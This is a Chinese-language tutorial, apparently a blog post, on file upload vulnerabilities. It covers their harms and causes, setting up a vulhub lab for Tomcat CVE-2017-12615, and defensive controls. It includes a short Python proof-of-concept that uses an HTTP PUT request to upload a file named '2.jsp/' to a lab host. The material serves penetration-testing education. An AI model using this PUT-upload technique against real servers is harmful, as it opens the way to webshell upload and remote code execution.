什么是 文件上传 漏洞
文件上传漏洞是一种常见的 Web 应用程序漏洞,它发生在应用程序允许用户上传文件时。这种漏洞可能会给系统带来严重的安全隐患。
目录:
什么是 文件上传 漏洞
Python 编写渗透测试基础:
文件上传漏洞的主要危害包括:
造成这些问题的主要原因是:
靶场的开启(文件上传漏洞):
(1)靶场的搭建:
(2)查看目录:
(3)启用 vulhub 漏洞:
(4)进行浏览:主机的 8080 端口.
编写 文件上传 数据包(传入一个文件测试):
(1)数据包的分析:
(2)编写的代码:
防范文件上传漏洞,关键是在应用程序中实现严格的文件上传控制机制包括:
Python 编写渗透测试基础:
(1)漏洞发现和利用走的是什么协议.
(2)编写难度是根据协议和探针利用复现复杂程度决定的.
例如:
mysql类型的漏洞复现漏洞
大部分都是在mysql里面进行python写这个漏洞利用
是不是也要用到mysql的库来进行连接 后续操作 复现一致
文件上传漏洞的主要危害包括:
(1)远程代码执行:攻击者可以上传恶意脚本文件(如 PHP、ASP 等),并在服务器上执行任意命令。
(2)敏感信息泄露:攻击者可以上传包含敏感信息的文件,如数据库备份、配置文件等。
(3)系统权限提升:攻击者可以上传木马程序,获取服务器的管理员权限。
(4)服务器资源占用:攻击者可以上传大文件,耗尽服务器存储空间。
(5)跨站脚本攻击(XSS):攻击者可以上传包含恶意脚本的文件,当其他用户访问该文件时,脚本会在用户浏览器中执行。
造成这些问题的主要原因是:
(1)缺乏对上传文件的类型、大小、路径等的严格限制和检查。
(2)缺乏对上传文件的安全性检查,如病毒扫描、恶意代码检测等。
(3)上传目录权限设置不当,导致攻击者可以访问和执行上传的文件
靶场的开启(文件上传漏洞):
(1)靶场的搭建:Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场
(2)查看目录:
(1)cd vulhub
(2)ls
(3)启用 vulhub 漏洞:
(1)cd tomcat // 切换到对应的漏洞目录.
(2)cd CVE-2017-12615 // 切换到对应的漏洞版本.
(3)docker-compose build // 建立容器
(4)docker-compose up -d // 启用漏洞环境.
(5)docker ps // 查看环境运行状态
(4)进行浏览:主机的 8080 端口.
编写 文件上传 数据包(传入一个文件测试):
(1)数据包的分析:
(2)编写的代码:
import requests # 导入模块
url="http://172.16.10.19:8080/2.jsp/" # 上传的文件路径.
data='shell' # 要上传的内容.
header={ # 数据包中的头部
"Accept": '*/*', # 使用''号把 头部 固定好
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
'Connection': 'close',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length':'5',
}
requests.put(url,data=data,headers=header) #使用 put() ,是模拟数据包的.(去请求)
# 上传的链接 + 上传的内容 + 数据包的头部
防范文件上传漏洞,关键是在应用程序中实现严格的文件上传控制机制包括:
(1)限制允许上传的文件类型、大小和路径。
(2)对上传的文件进行安全性检查,如病毒扫描、代码分析等。
(3)将上传文件存储在专用的安全目录,并设置正确的权限。
(4)使用白名单机制来限制可上传的文件类型。
(5)对上传的文件名进行合法性检查和处理。
学习链接:第159天:安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili